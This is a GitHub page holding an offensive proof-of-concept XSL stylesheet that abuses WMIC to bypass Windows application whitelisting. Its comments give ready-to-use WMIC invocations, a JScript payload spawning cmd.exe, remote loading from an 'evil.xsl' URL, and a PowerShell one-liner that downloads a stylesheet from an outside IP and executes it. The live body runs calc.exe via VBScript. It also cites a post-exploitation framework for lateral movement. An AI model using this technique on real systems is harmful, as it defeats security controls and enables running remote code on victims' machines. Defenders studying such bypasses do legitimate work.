Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
55 lines (43 sloc) 2.53 KB
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<!--
Original publication:
https://subt0x11.blogspot.lu/2018/04/wmicexe-whitelisting-bypass-hacking.html
Microsoft documentation:
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
Use-case/main objective:
- Windows Script Host is disabled or blocked
unconstrained script host bypass for Windows Defender Application Control
WMIC can invoke XSL (eXtensible Stylesheet Language) scripts, either locally or from a URL.
Proof of concept based on C:\Windows\System32\wbem\texttable.xsl
PoC examples:
wmic process LIST /FORMAT:"C:\Users\WMI\poc-wmic.xsl"
OR:
wmic process get brief /format:"C:\Users\WMI\poc-wmic.xsl"
wmic process LIST /FORMAT:"\\127.0.0.1\c$\Users\WMI\poc-wmic.xsl"
#cat poc-wmic.xsl:
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k echo 'Tapz!'");
]]> </ms:script>
</stylesheet>
Remote File example:
wmic os get /FORMAT:"https://example.com/evil.xsl"
Basic PoC payload using Powershell oneliner + proxy authentication (from IE config.):
PS C:\Users\pwnd\Desktop> powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('192.168.13.37/test2.xsl') -outfile test2.xsl";$cmd="wmic os get /format:'test2.xsl'"; iex $cmd
Post-exploit Project that already implement this king of lateral movement:
https://github.com/zerosum0x0/koadic
-->
<xsl:script language="VBScript"><![CDATA[
Set shl = CreateObject("Wscript.Shell")
Call shl.Run("""calc.exe""")
]]></xsl:script>
<xsl:template match="/"><xsl:apply-templates select="//RESULTS"/><xsl:apply-templates select="//INSTANCE"/><xsl:eval no-entities="true" language="VBScript">DisplayValues(this)</xsl:eval></xsl:template>
<xsl:template match="RESULTS"><xsl:eval no-entities="true" language="VBScript">CountResults(this)</xsl:eval></xsl:template>
<xsl:template match="INSTANCE"><xsl:eval language="VBScript">GotInstance()</xsl:eval><xsl:apply-templates select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"/></xsl:template>
</xsl:stylesheet>